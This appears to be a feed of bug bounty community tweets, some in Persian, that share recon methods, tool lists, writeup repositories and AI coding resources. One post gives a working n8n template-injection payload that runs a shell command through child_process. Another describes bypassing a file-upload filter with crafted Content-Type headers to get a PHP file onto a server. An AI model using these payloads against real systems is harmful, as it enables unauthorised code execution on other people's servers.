OKCOMPUTER

Bug bounty participant and security researcher.

[بوکانت @bookunt]

راهنمای فارسی Hermes Agent رسید!

یه مخزن تو گیتهاب درست کردم و کل داکیومنت هرمس رو با Mimo V2.5 به فارسی ترجمه کردم.

لینک پیچ راهنمای فارسی: https://t.co/FfSBAM9ss9

اگر لذت بردید حتما تو گیتهاب ستاره بدید:
https://t.co/nNRJoByueO

[Reza :) @RezaEsfandiari0]

🚀 اگر دوست داری Claude برات مثل یه Senior Software Engineer واقعی کد بزنه (نه فقط vibe coding)، این مجموعه Skills از Matt Pocock رو بهش بده!
مجموعه‌ای از مهارت‌های حرفه‌ای:

Architecture
TDD
Refactoring
Code Review
و مهارت‌های سطح بالا
https://t.co/OTxL7e7KQR

[Six2dez 🇵🇸 @Six2dez1]

If you use and enjoy my Burp AI Agent (https://t.co/StgtPqJaDF), please vote for it! 🙏

[Amr Elsagaei @amrelsagaei]

Hunters spend hours on subdomain enumeration before opening the actual app. The bugs that pay live on the app you haven't opened yet.

In this video, I show the exact recon process I use on every new target. No tool chain. Just the application, my proxy, and a way of reading what I see that pulls bugs out on almost every program.

How I Do Recon in 2026? https://t.co/uFv0kzQ7eZ

#BugBounty #Recon #WebSecurity #EthicalHacking #AmrSec #BrokenAccessControl

[TheOuts1derX @TheOuts1derX]

GitHub repos with reports/writeups for bug bounty hunters:

1. HackerOne Reports https://t.co/AFNt3oGGO0
2. Google VRP Writeups https://t.co/hkuwO1Yz6i
3. Facebook Bug Bounty Writeups https://t.co/H2AbmfHrRJ
4. Awesome Bugbounty Writeups https://t.co/8vrqvBWsh3
5. Daily Bugbounty Writeups https://t.co/82Bja7EERg

#BugBounty #BugBountyTips #Infosec #EthicalHacking #CyberSecurity

[Mahmoud Omar @nullthrix]

lots of people asked me for my recon methodology

HYG:
https://t.co/KtYEXs0iJk

soon will publish my full WAP methodology...
#BugBounty #hacking #security #hackerone #bugcrowd #integrity #yeswehack

[Vivek | Cybersecurity @VivekIntel]

🔎 𝗦𝗲𝗮𝗿𝗰𝗵 𝗘𝗻𝗴𝗶𝗻𝗲𝘀 𝗳𝗼𝗿 𝗣𝗲𝗻𝘁𝗲𝘀𝘁𝗲𝗿𝘀

🌐 𝗜𝗻𝗳𝗿𝗮𝘀𝘁𝗿𝘂𝗰𝘁𝘂𝗿𝗲 / 𝗦𝗲𝗿𝘃𝗲𝗿𝘀
• https://t.co/JgpEnsODMD
• https://t.co/37rLrAcgm6
• https://t.co/wNkIO93aVM
• https://t.co/5dqTJulLZ2

📡 𝗧𝗵𝗿𝗲𝗮𝘁 𝗜𝗻𝘁𝗲𝗹𝗹𝗶𝗴𝗲𝗻𝗰𝗲
• https://t.co/PO06KzH13M / https://t.co/m2jAZ90CR1
• https://t.co/4EAzqWHpRZ
• https://t.co/ykTDcE2Xnj
• https://t.co/WZahTBtWLp
• https://t.co/brV5yJajVx
• https://t.co/QnzUH2X6y4
• https://t.co/ZYqAv0nz6r

🕵️ 𝗢𝗦𝗜𝗡𝗧 & 𝗔𝘁𝘁𝗮𝗰𝗸 𝗦𝘂𝗿𝗳𝗮𝗰𝗲
• https://t.co/U7b6SYug8d
• https://t.co/PR5MyWDErY
• https://t.co/Wbz51KWF19

💻 𝗖𝗼𝗱𝗲 & 𝗪𝗲𝗯 𝗔𝗻𝗮𝗹𝘆𝘀𝗶𝘀
• https://t.co/hZqmFfdbdy
• https://t.co/UdVY14YQxQ
• https://t.co/X9Z506gudP
• https://t.co/c3Z5QXvf1t

📧 𝗘𝗺𝗮𝗶𝗹 & 𝗜𝗱𝗲𝗻𝘁𝗶𝘁𝘆
• https://t.co/WDnCPJXQcd

📶 𝗦𝗽𝗲𝗰𝗶𝗮𝗹𝗶𝘇𝗲𝗱
• https://t.co/5gM71cHm8Y → WiFi networks
• https://t.co/Wq6vs1a63O → SSL certificates
• https://t.co/iByWHqf20f → vulnerabilities
• https://t.co/WfUG8Ebpmj → dorks

🎯 Don’t just collect tools.
Use them for recon, enumeration, and validation.

#OSINT #Pentesting #CyberSecurity #BugBounty

[امید(ی) @omid_i_]

دیروز خیلیا ازم خواستن ریسورس هایی که برای Claude Code میبینم رو اینجا به اشتراک بذارم.
برای شروع و اگه فقط در حد پرامپت بلدید با کلاود کار کنید، به نظرم اینا خوبه:
1. یه کورس 4 ساعته کامل
https://t.co/rVDvBJGnrE
2. یه گیت هاب فول آموزشی
https://t.co/RXlpZZ3Sor
با اینا شروع کنید

[Arour_mohamed @Arourmohamed01]

This extension got me bounty don't forget to install it
#bugbounty #hack #security

[obscaries ❘ AppSec @obscaries]

If you're using Nuclei but not leveraging community templates, you're leaving bugs on the table 👀

The Nuclei-Templates-Collection is a curated hub of custom templates to supercharge your scans, from CVEs to real-world bug bounty cases.

More templates = more coverage = more findings 🔥

🔗 https://t.co/R1XkF0Az1n

#BugBounty #Nuclei #Infosec #AppSec #CyberSecurity

[NullSecurityX @NullSecurityX]

Zero Click Unauthenticated RCE in n8n (CVE-2026-27493)

The chain exploitation method is:
Allow User input
SSTI exploitation e.g. {{7*7}}
={{$node["NodeName"].constructor.constructor('return process.mainModule.require("child_process").execSync("id ").toString()')()}}

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

🐞 Top 50 Bug Bounty Tools
https://t.co/CP5pOqy4o9

Subfinder — https://t.co/8TBP5Bt5qv
Amass — https://t.co/tsLPX9ICLw
Assetfinder — https://t.co/17F6wR2kKJ
httpx — https://t.co/r5XKC0ULRm
Nuclei — https://t.co/8x1snl95qa
ffuf — https://t.co/6WxILflqz6
dirsearch — https://t.co/oGj5FTUwPI
Gobuster — https://t.co/CwnbcB3AIx
wfuzz — https://t.co/yKPtKHvSdo
hakrawler — https://t.co/vPdYILAyIR
gau (GetAllURLs) — https://t.co/urqYyoLffu
waybackurls — https://t.co/rzLPakjWps
ParamSpider — https://t.co/dPiZe9wwsu

#BugBounty #CyberSecurity #EthicalHacking #Pentesting #Infosec #BugHunter #Recon #SecurityTools #HackingTools #WebSecurity

[Wakedxy @Wakedxy1]

I recently identified an interesting technique to bypass file upload restrictions by manipulating the Content-Type header.

The target application enforced an image-only upload policy. Initial attempts to upload a file with a modified Content-Type such as application/html were correctly rejected. However, setting the header to application/jpeg allowed the upload to succeed, despite no validation of the actual file content.

Further testing revealed inconsistent parsing behavior. When using application/text php/jpeg, the uploaded file was assigned a .txtphp extension, indicating that the server was partially deriving the extension from the MIME type in an unsafe manner.

By refining this approach and setting the Content-Type to application/ php/jpeg, I was able to bypass the extension filtering mechanism entirely and upload a PHP file.

In this case, the impact was limited because the file was served via CloudFront, preventing remote code execution. Nonetheless, this behavior highlights weak MIME type validation and unsafe extension handling, which could lead to critical impact in different configurations.

Sharing this technique as it may be useful in similar upload validation scenarios.

[Youssef (s3c) @s3c_krd]

🛡️ Automatic XSS Detection – Haxeye analyzes every request in real time while you browse.

#bugbounty #infosec
https://t.co/GNmC4Pqbpr

[Swissky @pentest_swissky]

Intercepting OkHttp at Runtime With Frida - A Practical Guide - Szymon Drosdzol (@Doyensec)
https://t.co/BPiPBFJUFl

[Phillip Wylie @PhillipWylie]

The Power of Bug Bounty Automation with Nenad Zaric https://t.co/BVsQccpG7n

[Cyber_Racheal @CyberRacheal]

Cybersecurity Resources for different domains

https://t.co/djguIKo9IR

[The XSS Rat - Proud XSS N00b :-) @theXSSrat]

Updated #BugBounty checklist:
https://t.co/HB8AX10b7V

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

Bypassing Rate Limits via Race Conditions
https://t.co/tI5ldvPodW

#bugbounty #bugbountytips #bugbountytip

[sw33tLie @sw33tLie]

You can now dump all your #bugbounty @Hacker0x01 reports using bbscope thanks to @R3dTr4p's pull request!

bbscope reports h1 --output-dir h1-reports

More platforms coming soon!

https://t.co/nwPumNPLNr